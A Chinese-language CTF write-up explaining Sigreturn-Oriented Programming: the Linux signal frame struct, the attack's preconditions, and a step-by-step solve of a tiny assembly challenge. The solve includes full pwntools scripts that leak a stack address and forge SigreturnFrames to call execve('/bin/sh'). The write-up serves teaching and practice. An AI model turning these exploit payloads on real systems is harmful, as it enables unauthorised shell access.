# SROP > Author: 堇姬Naup ## signal機制 1. kernel向process發起signal機制,Process暫時中斷,進入kernel 2. 保存環境(簡單來說就是保存了各個暫存器的值,將所有東西壓入stack,並壓入signal相關訊息),這段記憶體被稱為Signal Frame 3. 到signal handler處理 4. 恢復環境 5. 繼續執行process ![image](https://hackmd.io/_uploads/S17Pv_UB0.png) ![image](https://hackmd.io/_uploads/HyZxuF8rC.png) signal frame ```c= struct _fpstate { /* FPU environment matching the 64-bit FXSAVE layout. */ __uint16_t cwd; __uint16_t swd; __uint16_t ftw; __uint16_t fop; __uint64_t rip; __uint64_t rdp; __uint32_t mxcsr; __uint32_t mxcr_mask; struct _fpxreg _st[8]; struct _xmmreg _xmm[16]; __uint32_t padding[24]; }; struct sigcontext { __uint64_t r8; __uint64_t r9; __uint64_t r10; __uint64_t r11; __uint64_t r12; __uint64_t r13; __uint64_t r14; __uint64_t r15; __uint64_t rdi; __uint64_t rsi; __uint64_t rbp; __uint64_t rbx; __uint64_t rdx; __uint64_t rax; __uint64_t rcx; __uint64_t rsp; __uint64_t rip; __uint64_t eflags; unsigned short cs; unsigned short gs; unsigned short fs; unsigned short __pad0; __uint64_t err; __uint64_t trapno; __uint64_t oldmask; __uint64_t cr2; __extension__ union { struct _fpstate * fpstate; __uint64_t __fpstate_word; }; __uint64_t __reserved1 [8]; }; ``` ![image](https://hackmd.io/_uploads/HJ9mSF8HA.png) ## 漏洞在哪? 如果我們能控制Stack的值,因為他在恢復環境時沒有驗證,所以可以任意修改來串ROP(透過偽造sigframe來調用惡意syscall) ## SROP前提 1. 有BOF 2. 可以去系統調用signature(或用read控rax之類的) 3. /bin/sh地址可以寫入並拿到該地址或是直接有目標及有位址 4. syscall地址 ## SROP chain ![image](https://hackmd.io/_uploads/SJzGDKLS0.png) 如果有ret,那可以構造像是這樣的chain來呼叫多個syscall ## 流程 - 控制stack - 偽造Signal Frame - 觸發Sigreturn - get shell ## 題目 ```asm ; nasm -f elf64 chal.asm -o chal.o && ld chal.o -o chal .text: global _start _start: xor rax, rax mov edx, 0x400 mov rsi, rsp mov rdi, rax syscall ret ``` > 控rax代表可以控你要syscall甚麼,而能控rax的不只有gadget,read返回值,也就是讀取的字節數可以控rax(rax包含系統調用結果) 首先根據上方asm他調用了read,隨便輸入一個他會跳到對應位置 ![image](https://hackmd.io/_uploads/B13p0arc0.png) 這邊我輸入了aaa跳到了0xa616161(0xa是換行)上,因為rsi指向rsp,ret吃到rsp所以stack底部會跳過去 這邊我先放入兩個ret回最上面 再來送一個\x03 來蓋掉stack底部ret位置最低位到xor rax, rax後面 與此同時因為寫入1 byte,rax變成1,call write,寫出stack address 原本 ![image](https://hackmd.io/_uploads/SkZpU0rcR.png) 寫掉最低位成0x03 ![image](https://hackmd.io/_uploads/BJS1PABqA.png) 另外因為寫入1 byte ,讓rax=1 ![image](https://hackmd.io/_uploads/B1nxwRB9C.png) ```python= from pwn import * from NAUP_pwn_lib import * context.arch='amd64' REMOTE_LOCAL=input("local?(y/n):") if REMOTE_LOCAL=="y": r=process('./srop') else: REMOTE_INFO=split_nc("nc lotuxctf.com 10009") REMOTE_IP=REMOTE_INFO[0] REMOTE_PORT=int(REMOTE_INFO[1]) r=remote(REMOTE_IP,REMOTE_PORT) DEBUG=input('debug?(y/n)') if DEBUG=="y": context.log_level = 'debug' context.arch = 'amd64' context.os = 'linux' context.terminal = ['tmux', 'splitw', '-h', '-F' '#{pane_pid}', '-P'] def p(): gdb.attach(proc.pidof(r)[0]) payload1 = p64(0x401000)+p64(0x401000) r.send(payload1) p() r.send(b'\x03') leak_stack_base = u64(r.recv()[8:16]) NAUPINFO('LEAK STACK',hex(leak_stack_base)) r.interactive() ``` 接下來我們的目標是call execve(),所以要寫入/bin/sh 另外根據上方腳本已經跳出去了,但我們如果一開始送p64(0x401000) 3次,write完後又跳回來了 ```python= read = SigreturnFrame() read.rax = constants.SYS_read read.rdi = 0 read.rsi = leak_stack_base read.rdx = 0x400 read.rsp = leak_stack_base read.rip = syscall payload3 = p64(start) + p64(syscall) + bytes(read) r.send(payload3) r.send(payload3[8:23]) ``` 讀payload進來 ``` start syscall read.SigreturnFrame ``` ret跳回start,讀15個byte進來 ``` syscall read.SigreturnFrame ``` ret到syscall,現在rax=15(call sys_rt_sigreturn) ``` read.SigreturnFrame ``` 回復位置成read.SigreturnFrame的樣子 再來 ```python= execve = SigreturnFrame() execve.rax = constants.SYS_execve execve.rdi = leak_stack_base + 0x108 execve.rsi = 0x0 execve.rdx = 0x0 execve.rsp = leak_stack_base execve.rip = syscall payload5 = p64(start)+p64(syscall)+bytes(execve) print(len(payload5)) payload5 += b'/bin/sh\x00' r.send(payload5) r.send(payload5[8:23]) ``` 回復的read先讀 ``` start syscall execve.SigreturnFrame /bin/sh\x00(leak rsp+0x108) ``` 再來ret到start,再讀15byte ``` syscall execve.SigreturnFrame /bin/sh\x00(leak rsp+0x108) ``` ret到syscall,現在rax=15 回復成execve.SigreturnFrame 並抓到/bin/sh get shell!! 另外適時加一些sleep防止送太快 ### script ```python= from pwn import * from NAUP_pwn_lib import * import time context.arch='amd64' context.os = 'linux' REMOTE_LOCAL=input("local?(y/n):") if REMOTE_LOCAL=="y": r=process('./srop') else: REMOTE_INFO=split_nc("nc lotuxctf.com 10009") REMOTE_IP=REMOTE_INFO[0] REMOTE_PORT=int(REMOTE_INFO[1]) r=remote(REMOTE_IP,REMOTE_PORT) DEBUG=input('debug?(y/n)') if DEBUG=="y": context.log_level = 'debug' context.terminal = ['tmux', 'splitw', '-h', '-F' '#{pane_pid}', '-P'] def pause(): gdb.attach(proc.pidof(r)[0]) payload1 = p64(0x401000)+p64(0x401000)+p64(0x401000) r.send(payload1) #pause() time.sleep(0.5) r.send(b'\x03') leak_stack_base = u64(r.recv()[8:16]) NAUPINFO('LEAK STACK',hex(leak_stack_base)) start=0x401000 syscall=0x40100e read = SigreturnFrame() read.rax = constants.SYS_read read.rdi = 0 read.rsi = leak_stack_base read.rdx = 0x400 read.rsp = leak_stack_base read.rip = syscall payload2 = p64(start) + p64(syscall) + bytes(read) r.send(payload2) time.sleep(0.5) r.send(payload2[8:23]) execve = SigreturnFrame() execve.rax = constants.SYS_execve execve.rdi = leak_stack_base + 0x108 execve.rsi = 0x0 execve.rdx = 0x0 execve.rsp = leak_stack_base execve.rip = syscall payload3 = p64(start)+p64(syscall)+bytes(execve) print(len(payload3)) payload3 += b'/bin/sh\x00' r.send(payload3) time.sleep(0.5) r.send(payload3[8:23]) r.interactive() ```